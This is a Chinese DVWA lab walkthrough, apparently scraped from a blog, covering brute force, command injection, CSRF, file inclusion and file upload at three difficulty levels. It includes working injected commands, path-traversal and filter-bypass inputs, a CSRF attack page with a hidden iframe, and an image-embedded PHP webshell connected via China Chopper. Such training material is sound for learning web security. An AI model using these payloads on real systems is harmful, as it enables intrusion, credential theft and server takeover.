怎么做网站统计,wordpress options,网站平台搭建流程,推广做网站多少钱简介#xff1a;
DVWA是一款基于PHP和mysql开发的web靶场练习平台#xff0c;集成了常见的web漏洞如sql注入,xss#xff0c;密码破解等常见漏洞。本教程将以DVWA为例#xff0c;演示常见的web漏洞的利用和攻击。
登录创建数据库#xff08;账号为admin#xff0c;密码为…简介
DVWA是一款基于PHP和mysql开发的web靶场练习平台集成了常见的web漏洞如sql注入,xss密码破解等常见漏洞。本教程将以DVWA为例演示常见的web漏洞的利用和攻击。
登录创建数据库账号为admin密码为password 登录后界面 在dvwa security选项中可以调整dvwa的难易程度 Brute Force暴力破解
Brute Force即为暴力破解通过枚举获取管理员的账号和密码,在实际的操作中一般用来破解后台管理系统的登录。
难度low
先审计代码 ?phpif( isset( $_GET[ Login ] ) ) {// Get username$user $_GET[ username ];// Get password$pass $_GET[ password ];$pass md5( $pass );// Check the database$query SELECT * FROM users WHERE user $user AND password $pass;;$result mysqli_query($GLOBALS[___mysqli_ston], $query ) or die( pre . ((is_object($GLOBALS[___mysqli_ston])) ? mysqli_error($GLOBALS[___mysqli_ston]) : (($___mysqli_res mysqli_connect_error()) ? $___mysqli_res : false)) . /pre );if( $result mysqli_num_rows( $result ) 1 ) {// Get users details$row mysqli_fetch_assoc( $result );$avatar $row[avatar];// Login successfulecho pWelcome to the password protected area {$user}/p;echo img src\{$avatar}\ /;}else {// Login failedecho prebr /Username and/or password incorrect./pre;}((is_null($___mysqli_res mysqli_close($GLOBALS[___mysqli_ston]))) ? false : $___mysqli_res);
}?
可以看到服务器只是验证了参数Login是否被设置没有任何的防爆破机制
接下来开始操作
在该模块任意输入账号和密码在burp中抓包 burp抓包抓到包后右键send ro intruder send to intruder在intruder的positions选择中先点击clear$清除所有的变量。然后分别给username和password这两个字段后面的内容添加add$添加变量并将attack type的值设置为cluster bomb 在payloads选择中分别给payload 1和payload 2设置字典路径。 同理选择第二个payload 然后点击右上方的start attack 如上开始枚举破解。通过length的长度判决即可 红色部分为破解的密码通过上面的破解我们发现length的长度存在不一样不一样的就是为破解成功的账号和密码。
最后在暴力破解模块填写正确的账号密码 难度medium
先审计代码 ?phpif( isset( $_GET[ Login ] ) ) {// Sanitise username input$user $_GET[ username ];$user ((isset($GLOBALS[___mysqli_ston]) is_object($GLOBALS[___mysqli_ston])) ? mysqli_real_escape_string($GLOBALS[___mysqli_ston], $user ) : ((trigger_error([MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work., E_USER_ERROR)) ? : ));// Sanitise password input$pass $_GET[ password ];$pass ((isset($GLOBALS[___mysqli_ston]) is_object($GLOBALS[___mysqli_ston])) ? mysqli_real_escape_string($GLOBALS[___mysqli_ston], $pass ) : ((trigger_error([MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work., E_USER_ERROR)) ? : ));$pass md5( $pass );// Check the database$query SELECT * FROM users WHERE user $user AND password $pass;;$result mysqli_query($GLOBALS[___mysqli_ston], $query ) or die( pre . ((is_object($GLOBALS[___mysqli_ston])) ? mysqli_error($GLOBALS[___mysqli_ston]) : (($___mysqli_res mysqli_connect_error()) ? $___mysqli_res : false)) . /pre );if( $result mysqli_num_rows( $result ) 1 ) {// Get users details$row mysqli_fetch_assoc( $result );$avatar $row[avatar];// Login successfulecho pWelcome to the password protected area {$user}/p;echo img src\{$avatar}\ /;}else {// Login failedsleep( 2 );echo prebr /Username and/or password incorrect./pre;}((is_null($___mysqli_res mysqli_close($GLOBALS[___mysqli_ston]))) ? false : $___mysqli_res);
}?
相比Low级别的代码Medium级别的代码主要增加了mysql_real_escape_string函数这个函数会对字符串中的特殊符号x00nr’x1a进行转义把其中的字符串给过滤掉了基本上能够抵御sql注入攻击那低等级时候用到的注入就失效了需要注意的是中级的暴力破解相对来说较慢是因为有个sleep函数在破解失败后会使程序停止运行两秒。所以我们直接用爆破方法即可和low级的一样所以这里就不多演示一遍了
难度high
先审计代码 ?phpif( isset( $_GET[ Login ] ) ) {// Check Anti-CSRF tokencheckToken( $_REQUEST[ user_token ], $_SESSION[ session_token ], index.php );// Sanitise username input$user $_GET[ username ];$user stripslashes( $user );$user ((isset($GLOBALS[___mysqli_ston]) is_object($GLOBALS[___mysqli_ston])) ? mysqli_real_escape_string($GLOBALS[___mysqli_ston], $user ) : ((trigger_error([MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work., E_USER_ERROR)) ? : ));// Sanitise password input$pass $_GET[ password ];$pass stripslashes( $pass );$pass ((isset($GLOBALS[___mysqli_ston]) is_object($GLOBALS[___mysqli_ston])) ? mysqli_real_escape_string($GLOBALS[___mysqli_ston], $pass ) : ((trigger_error([MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work., E_USER_ERROR)) ? : ));$pass md5( $pass );// Check database$query SELECT * FROM users WHERE user $user AND password $pass;;$result mysqli_query($GLOBALS[___mysqli_ston], $query ) or die( pre . ((is_object($GLOBALS[___mysqli_ston])) ? mysqli_error($GLOBALS[___mysqli_ston]) : (($___mysqli_res mysqli_connect_error()) ? $___mysqli_res : false)) . /pre );if( $result mysqli_num_rows( $result ) 1 ) {// Get users details$row mysqli_fetch_assoc( $result );$avatar $row[avatar];// Login successfulecho pWelcome to the password protected area {$user}/p;echo img src\{$avatar}\ /;}else {// Login failedsleep( rand( 0, 3 ) );echo prebr /Username and/or password incorrect./pre;}((is_null($___mysqli_res mysqli_close($GLOBALS[___mysqli_ston]))) ? false : $___mysqli_res);
}// Generate Anti-CSRF token
generateSessionToken();?
High级别的代码加入了Token可以抵御CSRF攻击同时也增加了爆破的难度通过抓包可以看到登录验证时提交了四个参数username、password、Login以及user_token。
开始操作
在该模块任意输入账号和密码用burp中抓包 发现多了一个token参数。将抓到的包发送到intrude 选择攻击模式为pitchfock并且给要破解的项带上美元符号 设置参数在option选项卡中将攻击线程thread设置为1 因为Recursive_Grep模式不支持多线程攻击然后选择Grep-Extract意思是用于提取响应消息中的有用信息点击Add如下图进行设置最后将Redirections设置为Always 写上value’ 点击刷新相应信息 服务器返回的token选中即value后面表示每次从响应中获取该值 将这个token 值先记录下来
87a8523f6d96f38f4f22738f2297e61a
找到Redirections模块设置允许重定向选择always 设置密码本点击payload选择第一项的密码本与低等级的相同第二项的时候选择Recursive grep 并且把之前得到的token值粘贴到下方的方框中。 最后进行攻击破解 最后进行登录 命令注入 Command Injection
命令注入Command Injection对一些函数的参数没有做过滤或过滤不严导致的可以执行系统或者应用指令CMD命令或者bash命令的一种注入攻击手段。PHP命令注入攻击漏洞是PHP应用程序中常见的脚本漏洞之一。
命令连接符
command1 command2 先执行command1后执行command2
command1 | command2 只执行command2
command1 command2 先执行command2后执行command1
以上三种连接符在windows和linux环境下都支持
难度low
审计代码 ?phpif( isset( $_POST[ Submit ] ) ) {// Get input$target $_REQUEST[ ip ];// Determine OS and execute the ping command.if( stristr( php_uname( s ), Windows NT ) ) {// Windows$cmd shell_exec( ping . $target );}else {// *nix$cmd shell_exec( ping -c 4 . $target );}// Feedback for the end userecho pre{$cmd}/pre;
}?
可以发现直接针对操作系统类型进行ping没有对输入的数据作出任何过滤非常危险。
开始操作
选择Command Injection模块 在文本框里输入”192.168.0.1 net user”得到以下系统中所有的用户 发现乱码
乱码解决方法
解决此问题的方法在DVWA-master\dvwa\includes目录下找到dvwaPage.inc.php文件中所有的”charsetutf-8”修改”charsetgb2312”即可 显示效果 192.168.0.1 net user 难度medium
代码审计 ?phpif( isset( $_POST[ Submit ] ) ) {// Get input$target $_REQUEST[ ip ];// Set blacklist$substitutions array( ,; ,);// Remove any of the charactars in the array (blacklist).$target str_replace( array_keys( $substitutions ), $substitutions, $target );// Determine OS and execute the ping command.if( stristr( php_uname( s ), Windows NT ) ) {// Windows$cmd shell_exec( ping . $target );}else {// *nix$cmd shell_exec( ping -c 4 . $target );}// Feedback for the end userecho pre{$cmd}/pre;
}?
可以看到相比Low级别的代码服务器端对ip参数做了一定过滤即把”” 、”;”删除本质上采用的是黑名单机制因此依旧存在安全问题。
漏洞利用
输入127.0.0.1 | dir 127.0.0.1 ipconfig 难度high
代码审计 ?phpif( isset( $_POST[ Submit ] ) ) {// Get input$target trim($_REQUEST[ ip ]);// Set blacklist$substitutions array( ,; ,| ,- ,$ ,( ,) , ,|| ,);// Remove any of the charactars in the array (blacklist).$target str_replace( array_keys( $substitutions ), $substitutions, $target );// Determine OS and execute the ping command.if( stristr( php_uname( s ), Windows NT ) ) {// Windows$cmd shell_exec( ping . $target );}else {// *nix$cmd shell_exec( ping -c 4 . $target );}// Feedback for the end userecho pre{$cmd}/pre;
}?
相比Medium级别的代码High级别的代码进一步完善了黑名单但由于黑名单机制的局限性我们依然可以绕过。
黑名单看似过滤了所有的非法字符但仔细观察到是把|注意这里|后有一个空格替换为空字符于是 |成了“漏网之鱼”。
漏洞利用
127.0.0.1|dir 跨站请求(csrf)
CSRF全称Cross-site request forgery翻译过来就是跨站请求伪造是指利用受害者尚未失效的身份认证信息cookie、会话等诱骗其点击恶意链接或者访问包含攻击代码的页面在受害人不知情的情况下以受害者的身份向身份认证信息所对应的服务器发送请求从而完成非法操作如转账、改密等。
难度low
审计代码 ?phpif( isset( $_GET[ Change ] ) ) {// Get input$pass_new $_GET[ password_new ];$pass_conf $_GET[ password_conf ];// Do the passwords match?if( $pass_new $pass_conf ) {// They do!$pass_new ((isset($GLOBALS[___mysqli_ston]) is_object($GLOBALS[___mysqli_ston])) ? mysqli_real_escape_string($GLOBALS[___mysqli_ston], $pass_new ) : ((trigger_error([MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work., E_USER_ERROR)) ? : ));$pass_new md5( $pass_new );// Update the database$insert UPDATE users SET password $pass_new WHERE user . dvwaCurrentUser() . ;;$result mysqli_query($GLOBALS[___mysqli_ston], $insert ) or die( pre . ((is_object($GLOBALS[___mysqli_ston])) ? mysqli_error($GLOBALS[___mysqli_ston]) : (($___mysqli_res mysqli_connect_error()) ? $___mysqli_res : false)) . /pre );// Feedback for the userecho prePassword Changed./pre;}else {// Issue with passwords matchingecho prePasswords did not match./pre;}((is_null($___mysqli_res mysqli_close($GLOBALS[___mysqli_ston]))) ? false : $___mysqli_res);
}?
$GLOBALS 引用全局作用域中可用的全部变量。$GLOBALS 这种全局变量用于在 PHP 脚本中的任意位置访问全局变量从函数或方法中均可。PHP 在名为 $GLOBALS[index] 的数组中存储了所有全局变量。变量的名字就是数组的键。
从源代码可以看出这里只是对用户输入的两个密码进行判断看是否相等。不相等就提示密码不匹配。
相等的话查看有没有设置数据库连接的全局变量和其是否为一个对象。如果是的话用mysqli_real_escape_string函数去转义一些字符如果不是的话输出错误。
是同一个对象的话再用md5进行加密再更新数据库。
知道了这些之后我们第一次尝试两次秘密不一致看看。 可以看到顶部的URL是http://127.0.0.1/dvwa1/vulnerabilities/csrf/?password_new1234password_conf1111ChangeChange#
很明显这就是修改密码的链接。
我们打开另一个页面在顶部URL中自己输入如下的
http://127.0.0.1/dvwa1/vulnerabilities/csrf/?password_new1234password_conf1234ChangeChange#
可以看到直接跳转到了密码成功的页面了 难度middle
审计代码 ?phpif( isset( $_GET[ Change ] ) ) {// Checks to see where the request came fromif( stripos( $_SERVER[ HTTP_REFERER ] ,$_SERVER[ SERVER_NAME ]) ! false ) {// Get input$pass_new $_GET[ password_new ];$pass_conf $_GET[ password_conf ];// Do the passwords match?if( $pass_new $pass_conf ) {// They do!$pass_new ((isset($GLOBALS[___mysqli_ston]) is_object($GLOBALS[___mysqli_ston])) ? mysqli_real_escape_string($GLOBALS[___mysqli_ston], $pass_new ) : ((trigger_error([MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work., E_USER_ERROR)) ? : ));$pass_new md5( $pass_new );// Update the database$insert UPDATE users SET password $pass_new WHERE user . dvwaCurrentUser() . ;;$result mysqli_query($GLOBALS[___mysqli_ston], $insert ) or die( pre . ((is_object($GLOBALS[___mysqli_ston])) ? mysqli_error($GLOBALS[___mysqli_ston]) : (($___mysqli_res mysqli_connect_error()) ? $___mysqli_res : false)) . /pre );// Feedback for the userecho prePassword Changed./pre;}else {// Issue with passwords matchingecho prePasswords did not match./pre;}}else {// Didnt come from a trusted sourceecho preThat request didnt look correct./pre;}((is_null($___mysqli_res mysqli_close($GLOBALS[___mysqli_ston]))) ? false : $___mysqli_res);
}?
Middle类型的代码在Low级别的基础上加上了对用户请求头的中的Referer字段进行验证 if( stripos( $_SERVER[ HTTP_REFERER ] ,$_SERVER[ SERVER_NAME ]) ! false )
即用户的请求头中的Referer字段必须包含了服务器的名字。关于Http Referer字段
当我们再打开另一个页面在顶部URL中自己输入如下的时
http://127.0.0.1/dvwa1/vulnerabilities/csrf/?password_new123password_conf123ChangeChange#
它会报错提示你Http Referer字段没有定义索引复制url到新建的页面 这次我们先正常的访问这个完整然后用burpsuite进行抓包如图可以看到Referer字段 然后我们打开另一个页面在顶部URL中自己输入如下的链接用burpsuite进行抓包
http://127.0.0.1/dvwa1/vulnerabilities/csrf/?password_new123password_conf123ChangeChange#
可以看到当我们直接打开另一个页面直接输入URL的时候请求包的头中并没有Referer字段所以不能修改成功。 那我们可以自己加一个Referer字段然后值只要设置成包含了主机头127.0.0.1就行了 可以看到已经成功修改密码了 难度high
审计代码 ?phpif( isset( $_GET[ Change ] ) ) {// Check Anti-CSRF tokencheckToken( $_REQUEST[ user_token ], $_SESSION[ session_token ], index.php );// Get input$pass_new $_GET[ password_new ];$pass_conf $_GET[ password_conf ];// Do the passwords match?if( $pass_new $pass_conf ) {// They do!$pass_new ((isset($GLOBALS[___mysqli_ston]) is_object($GLOBALS[___mysqli_ston])) ? mysqli_real_escape_string($GLOBALS[___mysqli_ston], $pass_new ) : ((trigger_error([MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work., E_USER_ERROR)) ? : ));$pass_new md5( $pass_new );// Update the database$insert UPDATE users SET password $pass_new WHERE user . dvwaCurrentUser() . ;;$result mysqli_query($GLOBALS[___mysqli_ston], $insert ) or die( pre . ((is_object($GLOBALS[___mysqli_ston])) ? mysqli_error($GLOBALS[___mysqli_ston]) : (($___mysqli_res mysqli_connect_error()) ? $___mysqli_res : false)) . /pre );// Feedback for the userecho prePassword Changed./pre;}else {// Issue with passwords matchingecho prePasswords did not match./pre;}((is_null($___mysqli_res mysqli_close($GLOBALS[___mysqli_ston]))) ? false : $___mysqli_res);
}// Generate Anti-CSRF token
generateSessionToken();?
可以看到High级别的代码加入了Anti-CSRF token机制用户每次访问改密页面时服务器都会返回一个随机的token当浏览器向服务器发起请求时需要提交token参数而服务器在收到请求时会优先检查token只有token正确才会处理客户端的请求。这里因为对请求的token进行了验证所以比上两个等级的更加的安全。
因为该请求是get请求所以token验证会被放在请求URL中我们随便输入密码验证一下可以看到在请求的URL中最末尾加入了token。 漏洞利用
要绕过High级别的反CSRF机制关键是要获取token要利用受害者的cookie去修改密码的页面获取关键的token。
试着去构造一个攻击页面将其放置在攻击者的服务器引诱受害者访问从而完成CSRF攻击。代码如下
script typetext/javascriptfunction attack(){document.getElementsByName(user_token)[0].valuedocument.getElementById(hack).contentWindow.document.getElementsByName(user_token)[0].value;document.getElementById(transfer).submit(); }
/scriptiframe srchttp://192.168.109.136/dvwa/vulnerabilities/csrf idhack border0 styledisplay:none;
/iframebody onloadattack()form methodGET idtransfer actionhttp://192.168.109.136/dvwa/vulnerabilities/csrfinput typehidden namepassword_new valuepasswordinput typehidden namepassword_conf valuepasswordinput typehidden nameuser_token valueinput typehidden nameChange valueChange/form
/body
攻击思路当受害者点击进入这个页面脚本会通过一个看不见框架偷偷访问修改密码的页面获取页面中的token并向服务器发送改密请求以完成CSRF攻击。
注实际操作上存在跨域问题浏览器是不允许跨域请求的。
举例说明我们的框架iframe访问的地址是http://127.0.0.1/dvwa/vulnerabilities/csrf位于服务器127.0.0.1(域名A)上而我们的攻击页面位于黑客服务器另一个ip地址域名B上.
两者的域名不同域名B下的所有页面都不允许主动获取域名A下的页面内容除非域名A下的页面主动发送信息给域名B的页面所以我们的攻击脚本是不可能取到改密界面中的user_token。
由于跨域是不能实现的所以我们要将攻击代码注入到目标服务器192.168.109.136中才有可能完成攻击。
可以利用High级别的XSS漏洞协助获取Anti-CSRF token
XSS注入有长度限制不能够注入完整的攻击脚本所以只获取Anti-CSRF token即可。 文件包含File Inclusion
一、文件包含与漏洞
文件包含: 开发人员将相同的函数写入单独的文件中,需要使用某个函数时直接调用此文件,无需再次编写,这种文件调用的过程称文件包含。
文件包含漏洞: 开发人员为了使代码更灵活,会将被包含的文件设置为变量,用来进行动态调用,从而导致客户端可以恶意调用一个恶意文件,造成文件包含漏洞。
二、文件包含漏洞用到的函数
require:找不到被包含的文件报错并且停止运行脚本。
include:找不到被包含的文件,只会报错但会继续运行脚本。
require_once:与require类似,区别在于当重复调用同一文件时,程序只调用一次。
include_once:与include类似,区别在于当重复调用同一文件时,程序只调用一次。
三、目录遍历与文件包含的区别
目录遍历是可以读取web目录以外的其他目录,根源在于对路径访问权限设置不严格针对本系统。
文件包含是利用函数来包含web目录以外的文件分为本地包含和远程包含。
四、文件包含特征
?pagea.php ?homeb.html ?filecontent
检测方法
?file../../../../etc/passwd ?pagefile:///etc/passwd ?homemain.cgi ?pagehttp://www.a.com/1.php http://1.1.1.1/../../../../dir/file.txt 难度low
审计代码
?php // The page we wish to display $file $_GET[ page ]; ?
可以看到low级别的代码对包含的文件没有进行任何的过滤这导致我们可以进行包含任意的文件。
我们查看phpinfo.php文件
http://127.0.0.1/dvwa1/vulnerabilities/fi/?pagehttp://127.0.0.1/phpinfo.php 当我们包含一个不存在的文件 xixi.php 看看会发生什么情况
http://127.0.0.1/dvwa1/vulnerabilities/fi/?pagexixi.php
可以看到发生了报错并且把网站的路径都给暴露出来了。 第一行的那个Warning就是找不到我们指定的xixi.php文件也就是包含不到我们指定的文件所以Warning。 而第二行的警告是因为前面没有找到指定文件所以包含的时候就出警告了。
我们在D:\phpStudy\PHPTutorial\WWW\DVWA1\vulnerabilities\fi目录中创建一个测试文件test.txt文件内容是“?php system(ipconfig);?”通过文件包含漏洞可以直接查看到该文件内容。 同理也有其他的一些文件这里就不多演示了 难度Medium
审计代码
?php// The page we wish to display
$file $_GET[ page ];// Input validation
$file str_replace( array( http://, https:// ), , $file );
$file str_replace( array( ../, ..\ ), , $file );?
可以看到代码使用 str_replace函数 对http:// 和 https://进行了过滤防止了远程包含漏洞的产生也过滤了 ../ 和 ..\ 防止了进行目录切换的包含。
但是使用 str_replace 函数进行过滤是很不安全的因为可以使用双写绕过。例如我们包含 hthttp://tp://xx 时str_replace 函数只会过滤一个 http:// 所以最终还是会包含到 http://xx 我们先访问一下http://127.0.0.1/dvwa1/vulnerabilities/fi/?pagehttp://127.0.0.1/phpinfo.php 发现报错原因很简单因为代码使用 str_replace函数 对http:// 和 https://进行了过滤防止了远程包含漏洞的产生
所以我们可以试试访问该链接
http://127.0.0.1/dvwa1/vulnerabilities/fi/?pagehtthttp://p://127.0.0.1/phpinfo.php 回显正常
难度High
审计代码 ?php// The page we wish to display
$file $_GET[ page ];// Input validation
if( !fnmatch( file*, $file ) $file ! include.php ) {// This isnt the page we want!echo ERROR: File not found!;exit;
}?
high级别的代码对包含的文件名进行了限制必须为 file* 或者 include.php 否则会提示ErrorFile not found。
于是我们可以利用 file 协议进行绕过。file协议我们其实并不陌生当我们用浏览器打开一个本地的文件时
http://127.0.0.1/dvwa1/vulnerabilities/fi/?pagefile:///D:\phpStudy\PHPTutorial\WWW\DVWA1\vulnerabilities\fi\test.txt 文件上传File Upload
File Upload即文件上传漏洞通常是由于对上传文件的类型、内容没有进行严格的过滤、检查使得攻击者可以通过上传木马获取服务器的webshell权限因此文件上传漏洞带来的危害常常是毁灭性的Apache、Tomcat、Nginx等都曝出过文件上传漏洞。
难度low
审计代码 ?phpif( isset( $_POST[ Upload ] ) ) {// Where are we going to be writing to?$target_path DVWA_WEB_PAGE_TO_ROOT . hackable/uploads/;$target_path . basename( $_FILES[ uploaded ][ name ] );// Can we move the file to the upload folder?if( !move_uploaded_file( $_FILES[ uploaded ][ tmp_name ], $target_path ) ) {// Noecho preYour image was not uploaded./pre;}else {// Yes!echo pre{$target_path} succesfully uploaded!/pre;}
}?
可以看到服务器对上传文件的类型、内容没有做任何的检查、过滤存在明显的文件上传漏洞生成上传路径后服务器会检查是否上传成功并返回相应提示信息。
文件上传漏洞的利用是有限制条件的首先当然是要能够成功上传木马文件其次上传文件必须能够被执行最后就是上传文件的路径必须可知。这里三个条件全都满足。
制作php一句话木马文件格式改为php 开始上传 上传成功并且显示上传的路径。
使用中国菜刀连接 双击刚刚创建好的数据 难度Medium
审计代码 ?phpif( isset( $_POST[ Upload ] ) ) {// Where are we going to be writing to?$target_path DVWA_WEB_PAGE_TO_ROOT . hackable/uploads/;$target_path . basename( $_FILES[ uploaded ][ name ] );// File information$uploaded_name $_FILES[ uploaded ][ name ];$uploaded_type $_FILES[ uploaded ][ type ];$uploaded_size $_FILES[ uploaded ][ size ];// Is it an image?if( ( $uploaded_type image/jpeg || $uploaded_type image/png ) ( $uploaded_size 100000 ) ) {// Can we move the file to the upload folder?if( !move_uploaded_file( $_FILES[ uploaded ][ tmp_name ], $target_path ) ) {// Noecho preYour image was not uploaded./pre;}else {// Yes!echo pre{$target_path} succesfully uploaded!/pre;}}else {// Invalid fileecho preYour image was not uploaded. We can only accept JPEG or PNG images./pre;}
}?
Medium级别的代码对上传文件的类型、大小做了限制要求文件类型必须是jpeg或者png大小不能超过100000B约为97.6KB。
如果我们直接上传会提示如下Your image was not uploaded. We can only accept JPEG or PNG images.可以看到对上传的文件做出了要求必须是jpg和png解决方法抓包修改文件类型即可
所以我们创建一个1.jpg的文件使用burp进行修改文件类型 对burp抓的包进行更改 上传成功 使用中国菜刀连接 难度high
审计代码 ?phpif( isset( $_POST[ Upload ] ) ) {// Where are we going to be writing to?$target_path DVWA_WEB_PAGE_TO_ROOT . hackable/uploads/;$target_path . basename( $_FILES[ uploaded ][ name ] );// File information$uploaded_name $_FILES[ uploaded ][ name ];$uploaded_ext substr( $uploaded_name, strrpos( $uploaded_name, . ) 1);$uploaded_size $_FILES[ uploaded ][ size ];$uploaded_tmp $_FILES[ uploaded ][ tmp_name ];// Is it an image?if( ( strtolower( $uploaded_ext ) jpg || strtolower( $uploaded_ext ) jpeg || strtolower( $uploaded_ext ) png ) ( $uploaded_size 100000 ) getimagesize( $uploaded_tmp ) ) {// Can we move the file to the upload folder?if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {// Noecho preYour image was not uploaded./pre;}else {// Yes!echo pre{$target_path} succesfully uploaded!/pre;}}else {// Invalid fileecho preYour image was not uploaded. We can only accept JPEG or PNG images./pre;}
}?
strrpos(string,find,start)函数返回字符串find在另一字符串string中最后一次出现的位置如果没有找到字符串则返回false可选参数start规定在何处开始搜索。
getimagesize(string filename)函数会通过读取文件头返回图片的长、宽等信息如果没有相关的图片文件头函数会报错。可以看到High级别的代码读取文件名中最后一个”.”后的字符串期望通过文件名来限制文件类型因此要求上传文件名形式必须是”*.jpg”、”*.jpeg” 、”*.png”之一。同时getimagesize函数更是限制了上传文件的文件头必须为图像类型。
我们上网下载一个jpg格式小尺寸的图片使用edjpgcom工具将一句话木马写入图片中
这里我找了一张小老虎的图片将它移进edjpgcom.exe工具中 写入一句话木马 回到刚刚dvwa界面上上传这个具有一句话木马的图片图片马 上传成功
这时我们利用之前的文件包含漏洞来配合中国菜刀连接刚刚上传的一句话木马
http://127.0.0.1/dvwa1/vulnerabilities/fi/?pagefile:///D:\phpStudy\PHPTutorial\WWW\DVWA1\hackable\uploads\3.jpg 我们使用中国菜刀连接
路径为http://127.0.0.1/dvwa1/vulnerabilities/fi/?pagefile:///D:\phpStudy\PHPTutorial\WWW\DVWA1\hackable\uploads\3.jpg 连接成功